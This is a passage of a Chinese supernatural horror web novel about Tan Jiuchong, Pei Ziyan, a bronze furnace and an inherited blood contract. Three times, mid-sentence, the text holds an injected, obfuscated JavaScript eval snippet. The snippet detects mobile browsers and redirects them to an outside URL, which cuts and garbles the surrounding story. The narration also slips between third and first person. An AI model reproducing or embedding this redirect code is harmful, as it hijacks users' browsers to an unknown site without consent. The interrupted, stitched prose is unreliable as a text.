檀九重强忍恐惧将铜钱按在影子的‘手’上。接触的刹那,一股刺骨寒意顺着指尖窜上脊椎。影子的轮廓开始扭曲,渐渐分离出一缕黑烟,顺着裴子晏胸口的钥匙孔钻了进去。 “啊——!”裴子晏仰头发出的惨叫带着双重音调,既有他本身的声音,又混着年轻男声。他的皮肤下鼓起游走的凸起,像有无数小蛇在血管里穿梭。 老守墓人突然割破手腕,将血洒在铜钱组成的卦象上:“以血为引,以契为凭!”血液接触青铜液体的瞬间,竟燃烧起青白色的火! 火焰中,裴子晏的惨叫渐渐平息。他瘫软在地,胸口钥匙孔缓缓闭合,皮肤下的青铜色脉络开始消退。但左眼依然保持着金属质感,只是瞳孔变成了正常的圆形。 “暂时...稳定了...”老守墓人瘫坐在地,指着雨燕的尸体,“但她...是‘守契人’...不彻底解决...” 雨燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050179|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的尸体突然坐起!她的颈椎发出木材断裂般的脆响,头以不可能的角度后仰,露出喉咙处一道陈年伤疤——是上吊的勒痕! “丙寅年错选...”她的声带振动着空气,却不像是自己在发声,“癸未年更正...” 檀九重猛然想起铜雀炉碎片上的文字。丙寅年是1986年,父亲失踪的那年;而癸未年...是2003年,裴子晏被送进孤儿院的时间! “错选的...是我父亲?”她攥紧铜钱,“那更正的是...” 裴子晏突然剧烈咳嗽起来,吐出一团缠绕着头发的青铜丝。丝线落地即燃,火中浮现几个模糊字迹:“影非影,器非器”。 雨燕的尸体终于彻底倒下。但青铜锁却自动飞起,悬浮在裴子晏胸前,锁芯正对钥匙孔。更诡异的是,她锁骨下的月牙胎记开始发烫,与青铜锁产生共鸣般的振动。 “最后的钥匙...”老守墓人看着檀九重的胎记,浑浊的眼里闪过恐惧,“在你身上...” 裴子晏突然抓住她的手腕。他的掌心依然带着碳化的粗糙感,但温度已经恢复正常:“学姐,别答应。”他的左眼流下青铜色泪水,“这锁一开,你就...” 青铜锁突然射出一道光线,笔直照在她的胎记上。剧痛中,她看到更多记忆碎片—— 父亲檀明远站在孤儿院门口,怀里抱着个昏迷的男孩。孩子右腕系着红线,线上穿着半枚铜钱。而父亲的左手...竟然呈现半透明的青铜色! “我把‘影’封进九重胎记...”父亲对阴影里的某人说,“‘器’就放在这孩子体内...等丙寅年...” 画面切换。2003年的雨夜,少年裴子晏在孤儿院阁楼发现一本笔记。当他翻开最后一页时,纸张突然渗出青铜色液体,在他左眼留下永久的金属质感... 记忆再次中断。檀九重浑身冷汗地发现青铜锁已经贴在我的胎记上,锁芯自动旋转着,发出令人牙酸的摩擦声。裴子晏正用身体挡在她和锁之间,碳化的手掌抵着锁身,皮肤被灼烧得滋滋作响。 “学姐...”他疼得声音都在抖,“婚书...背面...” 她急忙展开唐代婚书。在背面最下方,有一行极小的字迹:“若契有缺,以血补之;若魂有失,以影代之。” 老守墓人突然暴起,枯瘦如爪的手直取我的咽喉!“对不住了丫头!”她的指甲暴长寸许,“老身守契三十六载,今日必须了结!” 裴子晏闪电般将檀九重推开。老妇人的利爪划过他的脖颈,带出三道青铜色的‘血痕’。令人毛骨悚然的是,那些‘血液’落地后竟变成蠕动的青铜丝! “你...!”老妇人惊愕地瞪大眼,“你的血已经...” 裴子晏的左眼完全变成金属色。他抬手抹过颈间伤口,沾满青铜液体的手指在婚书背面画了个复杂符咒:“以影代魂...我自愿...” 青铜锁突然发出震耳欲聋的尖啸!锁身浮现无数裂纹,每个裂缝里都渗出黑血。老守墓人发出凄厉惨叫,她的皮肤也开始渗血,仿佛在与锁共鸣。 “不...不可能...”她跪倒在地,“怎么会是...自愿代契...” 裴子晏的身体开始透明化。通过他逐渐半透明的胸膛,她看到那枚铜钱正在他心脏位置缓缓旋转,每转一圈就释放出些许黑雾。 “学姐...”他的声音变得空灵,“这次依旧...还要认出...” 当最后一丝黑雾散去,青铜锁“咔”地裂成两半。她的胎记灼痛突然消失,取而代之的是种诡异的空虚感——就像身体某部分被生生挖走。 老守墓人蜷缩在地上,迅速衰老成干尸状。她浑浊的眼睛死死盯着我:“丫头...你以为...结束了吗...”枯爪指向天空,“看...月亮...” 檀九重抬头,浑身的血液瞬间冻结——满月不知何时变成了青铜色,表面浮现出清晰的铜雀纹!而月轮中央,隐约可见一个小小的钥匙孔... 59. 因果链 青铜月轮悬在千棺葬上空时,老守墓人的皮肤已经龟裂得像干旱的河床。她蜷缩在法坛碎片旁,喉咙里发出风箱漏气般的声响,枯爪却死死攥着檀九重的手腕。 “丫头...看清楚了...”她突然发力,指甲抠进她的胎记边缘,“这才是...檀家真正的...传家宝...” 剧痛中,月牙胎记竟被她掀开一角!下面不是血肉,而是一片青铜色的光滑表面,上面刻着微型符文——与铜雀炉内壁的纹路一模一样。 “每代檀氏长子...锁骨下都有这个...”老守墓人咳出带着金属光泽的血沫,“里面封着...上代‘裴子晏’的一缕魂...” 裴子晏突然从背后抱住我。他的体温低得吓人,左眼完全变成了青铜珠子,右眼却还保持清明:“学姐别看...碳化的手掌覆上她的眼睛,但已经晚了——通过胎记下的青铜镜面,她看到无数重叠的画面: 唐代炼丹房里,像父亲的方士将铜钱塞进小裴子晏口中;民国戏台上,穿长衫的裴子晏被红线吊死在铜雀炉上方;1986年雨夜,父亲檀明远将昏迷的男孩送进孤儿院... 最可怕的是,所有场景中的‘裴子晏’,最后都呈现出不同程度的金属化! “这是...换命术...”老守墓人松开手,胎记自动愈合,“檀氏一脉...靠这个延续了千年...” 她颤抖着从怀里掏出个皮影箱。箱盖打开的瞬间,数十张人形皮影立起来,每张背面都写着日期——从‘景龙三年’到‘丙寅年’,正好对应铜雀炉每次启动的年份。 “我祖母...我母亲...我...”老守墓人抚摸着皮影,“世代守着这个秘密...” 皮影突然自动排列成圆阵。当月光照在它们身上时,地面上投射出连续的画面:每个时代的檀氏家主都会找到一个‘裴子晏’,在月蚀之夜将其献祭给铜雀炉,从而延续家族血脉。 “不对...”檀九重猛地抓住最近的一张皮影,“1986年这次...献祭失败了?” 皮影背后的字迹突然变化,浮现出父亲的字迹:‘错选九重,当择男童’。老守墓人发出凄厉的惨笑:“你父亲...檀明远...他做了件疯狂的事...” 裴子晏的身体突然痉挛。他跪倒在地,左臂皮肤开始片状脱落,露出下面青铜色的晶体结构。更可怕的是,那些晶体正在缓慢生长,像冰霜般向肩膀蔓延。 “学姐...时间不多了...”他居然还在笑,用尚且完好的右手从口袋里摸出三枚铜钱,“帮我...组成三才阵...” 铜钱在他指间闪烁,一枚是她们从湘西找到的‘天’字钱,一枚是闽南蛊婆给的‘地’字钱,还有一枚...竟是刚从他自己眼眶里抠出来的——左眼青铜珠化成的‘人’字钱! “你疯了!”她想抢回那颗珠子,他却灵活地后仰,金属化的左手在地上划出带血的阵图。 “这才是...真正的厌胜钱...”裴子晏将三枚铜钱按在阵眼,“天、地、人...学姐的血...我的骨...铜雀炉的魂...” 老守墓人突然暴起,枯瘦如柴的身体爆发出惊人的力量,一把抓向铜钱阵:“不能让他完成!”她的指甲在月光下泛着青铜冷光,“这次轮回必须终结!” 裴子晏金属化的左臂格挡住她的攻击,晶体与青铜相撞发出清脆声响。令人毛骨悚然的是,撞击处迸出的不是血,而是青黑色的金属粉末! “三十六年...”老守墓人喘着粗气,“我守着这个葬岗三十六年...就等今夜...”她突然扯开衣襟,露出心口处的月牙疤痕——不是胎记,而是被生生剜去的伤口! “看清楚了丫头!”她戳着自己疤痕下的青铜反光,“我和你一样...也曾是‘檀九重’!” 檀九重的大脑此时一片空白。通过她疤痕下的青铜镜面,她看到短暂闪现的画面:1976年的月夜,年轻的守墓人(那时还是黑发少女)亲手将桃木剑刺入一个穿中山装青年的心脏... “每代都会出现两个‘容器’...”她的声音突然变得异常清晰,“一个继承檀氏血脉,一个成为‘裴子晏’...”枯爪指向正在布阵的裴子晏,“而他...本该是你父亲...” 裴子晏的右眼突然流下血泪。他布阵的动作丝毫未停,金属化的左臂已经蔓延到锁骨:“学姐...她没说谎...”三枚铜钱在他掌心悬浮旋转,“1986年...檀教授替换了命运...” 地面上的皮影突然全部转向她们。它们背后的字迹疯狂变化,最终定格在同一句话上:‘血契终结法:持契人亲手诛杀容器’。 老守墓人发出胜利般的嘶吼:“现在你明白了?”她指着裴子晏完全金属化的左半边身体,“杀了他...你就能活...否则...” 否则会怎样,她没能说完。裴子晏突然暴起,金属左臂刺穿她的胸膛。但诡异的是,没有血液喷出——老守墓人的伤口处露出青铜色的纤维状物质,就像...铜雀炉的内壁材质。 “否则我们就会永远困在这个轮回里。”裴子晏抽回手臂,声音突然变得异常冷静。他转向檀九重时,右眼的人类瞳孔已经缩成针尖大小:“学姐,唐代那个方士...就是你真正的先祖。” 铜钱阵突然迸发青光。三枚铜钱悬浮到空中,组成一个等边三角形。每枚钱币都射出一道光线,交汇处浮现出模糊的影像——穿玄色道袍的方士正在铜雀炉前做法,炉内沸腾的液体中,隐约可见孩童的轮廓。 “铜雀祭...从来就不是炼丹...”裴子晏的声带似乎也开始金属化,带着细微的机械音,“而是时空锚点...” 影像突然清晰。方士转过身,那张与父亲极为相似的脸上带着疯狂的笑意:“以童男女纯阴纯阳之气为引,可开天门...”他举起手中的铜钱,正是后世称为厌胜钱的样式,“然需血脉相连者代为承受反噬...” 她忽然明白过来:“所以每代都需要两个‘容器’...一个开启仪式,一个承担代价?” 裴子晏的右半边脸开始浮现晶体。他艰难地点头,从腰间解下桃木剑——剑身不知何时已经变成了青铜色:“檀教授...学姐你生物学上的父亲...他在最后关头用自己替换了‘容器’...” 桃木剑被塞进檀九重的手中。剑柄触感冰凉,上面刻着细小的符文,与铜雀炉碎片上的如出一辙。裴子晏引导着剑尖抵住自己心口,那里皮肤已经透明化,露出下面缓慢跳动的青铜心脏。 “现在轮到学姐做选择了。”他的声音越来越像机械合成音,但嘴角依然保持着那种熟悉的、带着几分绿茶味的微笑,“杀了我...或者...” 或者永生永世困在这个诅咒里。后半句他没说出口,但铜钱阵投射的画面已经说明一切——她看到未来的片段:二十年后的月夜,中年的她牵着个穿卫衣的男孩走向铜雀炉;五十年后的废墟,老态龙钟的她在剥落自己金属化的皮肤... 最可怕的是,所有画面中,裴子晏都以不同形态存在着:孩童、少年、青年、甚至一具青铜骨架。就像某种无法摆脱的宿命,永远与她纠缠。 “没有第三种可能吗?”檀九重握剑的手在发抖,剑尖在他心口划出细小的金属碎屑,“比如...彻底毁掉铜雀炉?” 裴子晏突然剧烈咳嗽起来。他吐出的不再是血,而是一些极其细小的青铜颗粒。那些颗粒落地后自动滚向铜钱阵,在‘天’、‘地’二钱之间形成第三个支点。 “炉子早就被毁了...”他的声带完全金属化了,声音像是从胸腔直接共鸣发出,“现在...我就是铜雀炉...” 仿佛为了验证这句话,他撕开右臂尚未金属化的皮肤。下面的肌肉组织里嵌着无数微型铜雀炉碎片,它们像有生命般缓缓蠕动,与血肉共生。 老守墓人(或许该称她为上一代檀九重)突然发出濒死般的笑声:“丫头...你和他...早就已经分不开了...”她心口的窟窿里爬出青铜丝,像蛛网般缠绕上我的脚踝,“你的胎记...他的心脏...都只是炉子的一部分...” 裴子晏的金属左臂突然伸长,精准地斩断那些青铜丝。他的动作已经不太像人类,带着机械般的精准,但眼神依然保留着最后的人性:“学姐...铜钱阵还能维持三分钟...” 他指向悬浮的三枚铜钱。原本的‘天’、‘地’、‘人’三钱正在缓慢靠拢,每次靠近都会迸出刺目的火花。而更令人不安的是,随着它们的靠近,裴子晏身体金属化的速度明显加快了——晶体已经从右脸蔓延到脖颈,像一层残酷的冰霜。 “当三钱合一...”他的声音越来越微弱,“要么契约更新...要么...” 要么彻底终结。檀九重盯着桃木剑尖,忽然注意到剑身上刻着一行极小的字:‘血契可转不可解’。这行字不是雕刻,而是由无数更微小的符文组成,每个符文都在缓缓蠕动,像活物一般。 “转嫁...”她福至心灵,“是不是可以把契约转给其他人?” 裴子晏的金属左臂突然痉挛。他似乎在用尽全力抵抗什么,晶体化的右脸扭曲成痛苦的表情:“不...可行...但...”他的喉咙里发出齿轮卡住的声响,“需要...活祭...” 老守墓人突然挣扎着爬向她们。她的身体已经大半变成青铜色,动作却异常灵活:“难道你想学你父亲?”枯爪抓住我的裤脚,“没用的...转嫁只会制造一出新的悲剧...” 她的指尖突然伸长,刺入檀九重脚踝的血管。剧痛中,她看到更多记忆碎片——父亲檀明远在1986年雨夜,将本该由她承受的契约转嫁给了一个陌生男孩;而那个男孩...长大后成为了孤儿院的护工,在2003年遇到了八岁的裴子晏... “因果链...”她的太阳穴突突跳动,“所有‘裴子晏’都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078779|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一个转嫁的受害者?” 裴子晏的右眼突然流出青铜色液体。他的人类部分正在急速消退,但依然坚持着将桃木剑往自己心口又送了半寸:“学姐...这是条...死循环...” 剑尖已经刺入他胸口的晶体表层。令人毛骨悚然的是,伤口处没有流血,而是渗出青黑色的金属溶液。那些液体顺着剑身流淌,在桃木表面蚀刻出新的符文——正是铜雀炉内壁的纹路! 铜钱阵突然发出刺耳鸣响。三枚铜钱已经几乎贴在一起,之间的火花形成了微型闪电。而悬浮在空中的历史画面开始倒放:从未来的老年她,倒退回中年、青年,最后停在1986年雨夜——父亲抱着昏迷的男孩站在孤儿院门口。 画面中的父亲突然转头,目光穿透时空直接看向现在的她。他的嘴唇开合,通过唇语她能读出他在说什么:“血契可转...亦可分...” 裴子晏的身体猛地一震。他残存的人类右眼突然睁大,晶体化的嘴角扯出一个艰难的微笑:“学姐...罗盘...照片...” 檀九重这才想起随身携带的罗盘。当掀开底层时,那张被撕去半边的照片露了出来——原本只显示她和父亲的部分,现在却浮现出第三个人的轮廓:穿白大褂的年轻男子,怀里抱着个戴铜钱项链的男孩。 照片背面不知何时出现了新字迹:‘血魂可分,器影可逆。月轮为炉,人影为钥。’ “我明白了...”她颤抖着摸向锁骨下的胎记,“铜雀炉从来就不是实体...是月轮投影...”手指用力按压胎记边缘,那里的皮肤立刻泛起青铜光泽,“而‘钥匙’...” 裴子晏用最后的力气点头。他的声带已经完全金属化,声音变成纯粹的机械音:“学...姐...快...” 三枚铜钱在此刻终于相撞!没有预想中的爆炸,而是悄无声息地融合成一枚全新的铜钱——正面是‘天’字,背面是‘地’字,边缘则刻着细小的‘人’字。而铜钱中央的方孔,正好与天上青铜月轮的钥匙孔形状一致。 老守墓人发出最后的哀嚎。她的身体迅速结晶化,最终变成一尊青铜雕塑,脸上凝固着惊恐与释然交织的表情。 裴子晏的情况更糟。金属化已经蔓延到右眼,只有瞳孔还保留着一点人类的光泽。他引导我的手指扣住桃木剑柄,剑尖已经刺入他心脏半寸:“最...后...机会...” 檀九重望向天上的青铜月轮。通过铜钱方孔看去,月面的钥匙孔纹路与桃木剑尖完美吻合。一个疯狂的想法浮现在脑海——如果铜雀炉是投影,那么真正的‘炉子’在哪里? 答案呼之欲出。她看向裴子晏胸口的钥匙孔状凹陷,又看向自己锁骨下的胎记。父亲留在照片上的暗示突然明朗:‘人影为钥’——她们本身就是炉子的一部分! “不...终结...”她将桃木剑猛地抽回,在裴子晏错愕的目光中划向自己锁骨,“是...重构!” 剑尖划开胎记的瞬间,整个世界陷入了绝对的静默。没有疼痛,只有一种奇异的抽离感。她看到自己的血液不是红色,而是泛着金属光泽的青黑色,它们悬浮在空中,组成与铜雀炉完全相同的符文。 裴子晏完全晶体化的身体突然发出"咔咔"的响声。裂缝从心口钥匙孔处蔓延,却不是崩溃的前兆——那些裂缝中透出柔和的白光,与月光中的青铜色形成鲜明对比。 “学...姐...”他的声音奇迹般地恢复了人类音色,虽然依然带着机械质感,“你...做了什么...” 檀九重举起那枚融合的三才铜钱。它正疯狂旋转,每次转动都释放出些许黑雾——是从她们体内抽离的‘炉毒’!而天上的青铜月轮开始褪色,逐渐恢复成正常的银白色。 “分魂...”她摸向锁骨,胎记下的青铜镜面已经消失,取而代之的是正常的血肉,“把契约分成三份...天、地、人...” 裴子晏身体上的晶体开始片状脱落。令人惊讶的是,下面露出的不是血肉,而是正常的人类皮肤!只有左眼还保留着青铜色,但已经恢复了瞳孔的光泽。 当最后一片晶体从他脸颊剥落时,铜钱阵突然熄灭。三才铜钱‘叮’地落地,碎成三枚独立的钱币——‘天’字钱飞向月亮,‘地’字钱沉入土壤,而‘人’字钱... 裴子晏接住了它。那枚由他左眼化成的铜钱静静躺在他掌心,中央方孔里映出我们两人的倒影。 “学姐...”他眨着异色双瞳,嘴角扬起熟悉的、带着几分绿茶味的微笑,“这次...算不算...生死与共?” 远处传来第一声鸡鸣。东方的天空泛起鱼肚白,月光悄然退场。废墟上只剩下她们两人,和一地闪着微光的青铜碎片。 她弯腰捡起一片铜雀炉残骸。对着晨光细看时,发现上面的古老符文已经改变,现在刻着的是现代简体字: “契约暂缓,非解除。第七个满月之夜,终局降临。” 60. 局终局 檀九重莫名觉得脑袋一阵剧痛,疼的闭上了眼睛。等她再次睁开双眼的时候,却发现她依旧用桃木剑抵在裴子晏的胸口,刚才的一切仿佛都是假的。 可是,方才都发生了什么呢?她只觉得那些记忆都变得模糊,只好专注于眼前。 她发现,桃木剑刺入裴子晏胸口的瞬间,剑身上的符文突然活了。那些细如蚊足的刻痕扭动着脱离剑身,像一群赤红色的小蛇,顺着伤口钻入他的皮肤。她下意识要抽剑后退,却发现剑尖仿佛焊在了他的骨头上。 “学...姐...”裴子晏的嘴角开始渗出青铜色液体,声音却带着诡异的平静,“你看...” 他的胸口皮肤突然透明化,露出下面精密如钟表的结构——齿轮般的骨骼,发条状的血管,而在本该是心脏的位置,悬着一把微型青铜锁。锁身刻着两个交错的月牙,与她胎记的形状分毫不差。 “这才是...真正的换命锁...”裴子晏的左眼完全变成金属色,右眼却亮得惊人,“一直...在我这里...” 锁孔突然自动旋转起来,发出机关咬合的咔嗒声。随着每一声响,就有大段陌生记忆强行灌入檀九重的脑海—— 景龙三年的夏夜,小阿檀蹲在炼丹房角落,看着小裴子晏被绑在铜雀炉前。方士(那张与父亲酷似的脸)正在往炉中添加人骨,每加一根就念一句咒文。当轮到小裴子晏时,小阿檀突然扑上去咬住方士的手腕! “阿檀!”方士暴怒地甩开她,“你可知他是纯阳体?少了他,整个仪式...” “我有办法!”小阿檀从袖中抖出半枚铜钱,正是后来被称为厌胜钱的东西,“用这个代替!裴哥哥教过我的...” 记忆突然跳转。深夜的炼丹房,小阿檀正用铜钱在铜雀炉内壁刻符。每一笔都让炉身震颤,而睡梦中的小裴子晏随之痛苦抽搐。当最后一笔完成时,小阿檀突然割破手腕,将血滴在铜钱上:“以我檀氏血脉为引...” 现实与记忆的边界轰然崩塌。她跪在千棺葬的废墟上,看着裴子晏胸口的青铜锁完全打开——里面不是钥匙,而是一张折叠成方块的皮纸。当月光照在纸上时,浮现出清晰的笔迹: “景龙三年七月初七,檀氏女阿檀私改祭文,以己血代裴郎。后世子孙当记:血契非祸,痴念为殃。” 檀九重忽然明白了一切。根本不是什么檀家对裴家的世代献祭,而是最初的小阿檀为救小裴子晏,私自篡改了铜雀祭仪式!千年轮回的诅咒,源于一场逆天改命的拯救。 “学姐...”裴子晏的声带已经完全金属化,声音像是从胸腔直接共鸣发出,“现在...你懂了吧...” 他透明化的胸口开始扩散,露出更多机械结构。最令人毛骨悚然的是,那些齿轮间缠绕着无数红线,每根线上都穿着不同年代的铜钱——唐代的开元通宝、宋代的崇宁重宝、民国的袁大头...直到最新的一枚,刻着‘1986’字样。 守墓人奶奶突然发出濒死的咳嗽声。她的身体正在急速枯萎,皮肤像老树皮般剥落,露出下面森森白骨。但她的手指死死攥着一封泛黄的信封,颤抖着递向我: “丫头...最后的...真相...” 信封里是一沓用血写就的遗书。最上面那页署名‘檀明远1986.7.15’,字迹因为年代久远而晕染,但依然能辨出关键内容: “我们发现铜雀祭真相...非献祭而是共生...但外祖父已启动逆转仪式...全体队员决定以自身为祭品暂封炉灵...九重胎记是关键...找到真正的裴...” 后面的页面是其他考古队员的绝笔,每张都沾着可疑的暗红色污渍。最令人心惊的是最后一页——没有署名,只有一行新鲜得刺目的血字:‘丙寅年错选者,实为檀九重’。 “奶奶...!”她想抓住守墓人干枯的手腕,却只接到一把骨灰。她的身体在我眼前彻底风化,只剩一具呈跪拜姿势的骨架,指骨仍固执地指向裴子晏。 裴子晏的情况更糟。透明化已经蔓延到脖颈,能清晰看到气管变成青铜导管,声带则是两片振动的金属片。他试图说话,却只发出齿轮卡住的声响,只好用还能活动的右手在地上划字。 指尖每划一笔就带出青铜碎屑,形成的字迹却异常清晰:‘学姐,看影子’。 月光下,檀九重的影子不再是现代装束,而是一个穿襦裙的唐代少女。更诡异的是,影子右手腕系着的红线,正连着裴子晏影子的左手腕——就像景龙三年那个夜晚的画面重现。 “血契非祸...”她喃喃念着皮纸上的文字,突然福至心灵,“痴念为殃...” 裴子晏的金属化突然暂停。他残存的人类右眼亮得惊人,手指艰难地摸向自己左胸——那里皮肤尚未完全晶体化,还保留着最后一小块人类组织。 下一秒,他做了一件让我魂飞魄散的事——生生撕下那块皮肤,按在她锁骨处的胎记上! 剧痛如潮水般袭来。胎记像被烙铁灼烧,发出皮肉焦糊的气味。但更可怕的是视觉冲击——那块来自裴子晏的皮肤正在与她的胎记融合,边缘处伸出无数青铜丝线,像活物般钻入我的血肉。 “裴...子晏...!”檀九重疼得声音都变了调,却看见他在微笑。那个熟悉的、带着几分绿茶味的笑容,此刻显得如此破碎又温柔。 融合完成的瞬间,整个千棺葬废墟剧烈震动。地面裂开无数缝隙,每个裂缝里都爬出青铜色的丝线,它们自动编织成网,将她和裴子晏包裹其中。 网中世界时间流速似乎与外界不同。她看到走马灯般的画面闪过—— 唐代的小阿檀将铜钱塞入昏迷的小裴子晏口中;民国的戏班主把红线系在学徒脖子上;1986年的父亲抱着昏迷男孩走进孤儿院...所有画面中的‘裴子晏’都在微笑,那种特有的、带着几分狡黠又温柔的笑。 最后一幕是父亲站在铜雀炉前,将什么东西塞进胸口:“九重...爸爸给你...换个命运...” 幻象突然中断。青铜网自动解体,碎成无数光点消散在夜风中。而废墟中央,原本法坛的位置塌陷出一个规整的圆形坑洞,里面赫然立着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086805|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块唐代石碑! 碑文是漂亮的楷书:‘檀氏小女阿檀与裴氏郎子晏,生死与共,阴阳同契’。落款处刻着两个相拥的小人,轮廓与她们锁骨下的胎记完全一致。而最下方是一行新鲜的、带着水汽的字迹——就像刚刚有人用手指写上去的: “九重子晏” 裴子晏的身体突然发出瓷器碎裂般的脆响。他的金属化重新开始,这次速度快得惊人,转眼间就蔓延到右脸。只有那只人类眼睛还保留着最后的光彩,定定地望着我。 “学姐...”他的声带奇迹般地恢复了短暂的人类音色,“这次...好像真的要说...” 话没说完,他的喉咙就完全金属化了。但通过那只尚未晶体化的右眼,她看到无数想说的话在其中流转——歉意、眷恋、还有某种近乎虔诚的期待。 檀九重发疯般扑向石碑,手指摸索着那两个相拥的小人。当指尖触到‘晏’字的最后一笔时,石碑突然裂开一道缝隙,露出里面藏着的东西—— 是半枚铜钱。与之前见过的厌胜钱不同,这枚铜钱没有符文,只有两个小小的凹痕,形状恰似月牙。 裴子晏的右眼突然睁大。他金属化的手指艰难地指向自己左胸——那里还有最后一块未被侵蚀的区域,正好是心脏的位置。 她颤抖着将铜钱按上去。接触的瞬间,铜钱像被高温灼烧般烙进他的金属皮肤,发出“滋滋”的声响。令人毛骨悚然的是,伤口处渗出的不是血,而是泛着金属光泽的青色液体。 液体落地后并未四散,而是凝聚成一个小小的青铜人偶——与石碑上的小人一模一样。人偶的胸口有个钥匙孔,与她胎记的大小完全吻合。 裴子晏的右眼突然流下一滴泪。那滴泪在半空中就结晶化,落在檀九重的掌心变成一颗青铜珠子。透过珠子看去,整个世界都笼罩在诡异的青绿色调中,而裴子晏的身体... 他的身体正在缓慢崩解。不是坍塌,而是像沙画般被无形的风吹散。最先消散的是已经完全金属化的左半身,然后是右臂、右腿...最后只剩下那颗依然保持人类质感的右眼,悬浮在空中静静注视我。 “不...!”她徒劳地抓向那枚眼球,却只握住一把青铜沙粒。沙粒从指缝间溜走,落地后自动流向石碑,在基座处重新凝聚成微型铜雀炉的形状。 炉身突然打开,露出里面蜷缩的青铜小人。它抬头‘看’向檀九重,左眼是金属珠子,右眼却是鲜活的人类眼球——裴子晏最后保留的部分。 “叮”的一声,铜雀炉又合上了。与此同时,她锁骨处的胎记突然灼痛难忍。掀开衣领一看,月牙形的印记正在变化,边缘长出细小的枝丫状纹路,就像...一棵树的剪影。 晨光刺破云层时,废墟上只剩下檀九重、守墓人的白骨和那块唐代石碑。风卷起地上的青铜沙粒,在空中组成短暂的文字: “第七个月圆夜,铜雀终鸣” 她弯腰捡起守墓人指骨间的遗书。在最后那页,发现之前没注意到的一行小字: “真正裴子晏在湘西千棺葬第三重棺” 61. 丝引路 黔东南的雨带着粘稠的质感,像无数蛛丝垂落在冲锋衣上。檀九重站在‘千丝寨’的寨门前,看着裴子晏最后留下的青铜丝线没入青石板缝隙——那根细如发丝的金属线,从铜雀炉废墟一路指引我来到这里。 寨门牌坊上盘踞着斑驳的盘瓠浮雕,神犬额间的第三只眼正对着来客。她摸出随身携带的铜雀炉碎片,金属表面凝结着细密水珠,不是雨水,而是自己在渗出水珠——就像在‘出汗’。 “有人吗?” 声音在群山间撞出空洞回声。吊脚楼群静静匍匐在雨雾中,檐角悬挂的青铜铃纹丝不动。走近才发现,那些根本不是铃铛,而是蚕茧形状的金属笼,每个笼子里都垂着张泛黄的蚕丝符。 当看清符纸上的字迹时,檀九重后颈的汗毛全部竖起——全是她的名字!‘檀九重’三个字被用血丝般的红线绣在蚕茧内膜上,有些已经氧化发黑,最旧的那张墨迹褪色到近乎透明,估计有上百年历史。 “这不可能...” 手指刚要触碰最近的一张蚕丝符,锁骨下的月牙胎记突然刺痛。符纸无风自动,缠绕上我的指尖。蚕丝接触皮肤的瞬间,胎记边缘钻出三根银白色的丝状物,与符纸上的血丝精准对接! “啊!” 猛地扯断丝线,连带撕下一小块皮肤。令人毛骨悚然的是,那些丝线断口处渗出青黑色液体,落地后竟像活物般向寨子深处游去。她追着丝线来到寨中央的古井边,铜雀炉碎片突然烫得惊人,口袋里裴子晏留下的皮肤碎片也开始发烫。 井沿青苔上留着新鲜指痕,是裴子晏惯用的左手发力姿势。檀九重探身看向井水,水面映出的却不是她的倒影——无数蚕丝组成的茧悬浮在井中,隐约可见蜷缩的人形。当水纹晃动时,茧里的人抬起脸,左眼泛着熟悉的青铜光泽。 “裴子晏!” 水面突然沸腾。茧中伸出数百条丝线,笔直刺向她的面门!本能地举起铜雀炉碎片格挡,丝线接触碎片的瞬间全部僵直,继而化为齑粉飘落。井水恢复平静后,浮现出七个排列成北斗形状的蚕茧,每个茧里都裹着个模糊人影。 “檀姑娘终于来了。” 苍老的声音从背后响起。她旋身抽出军工铲,却见是个穿靛蓝苗服的老妪。她右手握着纺锤,左手捧着的陶碗里泡着块皮肤——与我口袋里裴子晏的皮肤碎片一模一样! “阿晏说你会在这个时辰到。”她缺了无名指的左手轻抚碗沿,“老身在这里等了七代人了。” 月光突然穿透雨幕。借着光线看清她苗银腰带上挂着的物件后,她浑身血液凝固——那是缩小版的铜雀炉吊坠,炉身缠绕着蚕丝,与裴子晏胸口的青铜锁形制完全相同! “您是他什么人?” “守茧人。”老妪用纺锤指向古井,“也是把你俩名字绣在蚕丝符上的人。” 她突然扯开衣领,锁骨下露出月牙形烙印——不是胎记,而是被灼烧出的疤痕。当檀九重下意识摸向自己胎记时,老妪笑出满口银牙:“不一样,你这是‘器印’,老身这是‘叛印’。” 铜雀炉碎片突然自行飞向古井,啪地吸附在井沿某块砖石上。砖石移开露出暗格,里面静静躺着半块青铜镜,镜面布满蛛网状裂纹,却清晰地映出她背后——站着一个浑身缠满蚕丝的高挑身影! 猛回头却什么也没有。老妪的纺锤不知何时缠上了她的手腕,蚕丝勒进皮肤却不见血,反而在皮下形成蛛网般的白线。 